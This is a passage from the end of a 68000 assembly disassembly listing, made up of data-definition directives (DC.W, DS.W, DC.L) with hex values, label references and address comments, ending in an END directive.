  6767.     DC.W    $1010            ;3F2C
  6768.     DC.W    $1010            ;3F2E
  6769.     DC.W    $2000            ;3F30
  6770.     DS.W    66            ;3F32
  6771.     DC.W    $0FA0            ;3FB6
  6772.     DS.W    5            ;3FB8
  6773.     DC.W    $015E            ;3FC2
  6774.     DS.W    16            ;3FC4
  6775.     DC.W    $0180            ;3FE4
  6776.     DS.W    38            ;3FE6
  6777.     DC.W    $8000            ;4032
  6778.     DS.W    1            ;4034
  6779.     DC.W    $000D            ;4036
  6780.     DC.W    $FFFF            ;4038
  6781.     DS.W    1            ;403A
  6782.     DC.W    $000E            ;403C
  6783.     DC.W    $000E            ;403E
  6784.     DS.W    2            ;4040
  6785.     DC.L    LAB_01ED        ;4044: 00002166
  6786.     DS.W    2            ;4048
  6787.     DC.W    $FFFF            ;404C
  6788.     DS.W    1            ;404E
  6789.     DC.W    $0004            ;4050
  6790.     DC.W    $0004            ;4052
  6791.     DS.W    5            ;4054
  6792.     DC.W    $01B4            ;405E
  6793.     DC.W    $FFFF            ;4060
  6794.     DS.W    1            ;4062
  6795.     DC.W    $0004            ;4064
  6796.     DC.W    $0004            ;4066
  6797.     DS.W    2            ;4068
  6798.     DC.L    LAB_01EE        ;406C: 00002182
  6799.     DS.W    2            ;4070
  6800.     DC.W    $FFFF            ;4074
  6801.     DS.W    1            ;4076
  6802.     DC.W    $0004            ;4078
  6803.     DC.W    $0004            ;407A
  6804.     DS.W    2            ;407C
  6805.     DC.L    LAB_01EF        ;4080: 0000218C
  6806.     DS.W    6            ;4084
  6807.     DC.L    LAB_030D        ;4090: 00003586
  6808.     DC.W    $0505            ;4094
  6809.     DC.W    $0505            ;4096
  6810.     DC.W    $0505            ;4098
  6811.     DC.W    $0505            ;409A
  6812.     DC.W    $0505            ;409C
  6813.     DC.W    $0505            ;409E
  6814.     DC.W    $0505            ;40A0
  6815.     DC.W    $0505            ;40A2
  6816.     DC.W    $0505            ;40A4
  6817.     DC.W    $0D05            ;40A6
  6818.     DC.W    $1011            ;40A8
  6819.     DC.W    $0202            ;40AA
  6820.     DC.W    $0505            ;40AC
  6821.     DC.W    $0505            ;40AE
  6822.     DC.W    $0205            ;40B0
  6823.     DC.W    $1605            ;40B2
  6824.     DC.W    $1E13            ;40B4
  6825.     DC.W    $0505            ;40B6
  6826.     DC.W    $0505            ;40B8
  6827.     DC.W    $0505            ;40BA
  6828.     DC.W    $0D0D            ;40BC
  6829.     DC.W    $0D13            ;40BE
  6830.     DC.W    $1305            ;40C0
  6831.     DC.W    $0505            ;40C2
  6832.     DC.W    $0505            ;40C4
  6833.     DC.W    $0505            ;40C6
  6834.     DC.W    $0505            ;40C8
  6835.     DC.W    $0505            ;40CA
  6836.     DC.W    $0505            ;40CC
  6837.     DC.W    $0505            ;40CE
  6838.     DC.W    $0505            ;40D0
  6839.     DS.W    2            ;40D2
  6840.     DC.W    $0003            ;40D6
  6841.     DS.W    1            ;40D8
  6842.     DC.W    $015E            ;40DA
  6843.     DS.W    1            ;40DC
  6844.     DC.W    $013C            ;40DE
  6845.     DS.W    1            ;40E0
  6846.     DC.W    $01D8            ;40E2
  6847.     END
  6848.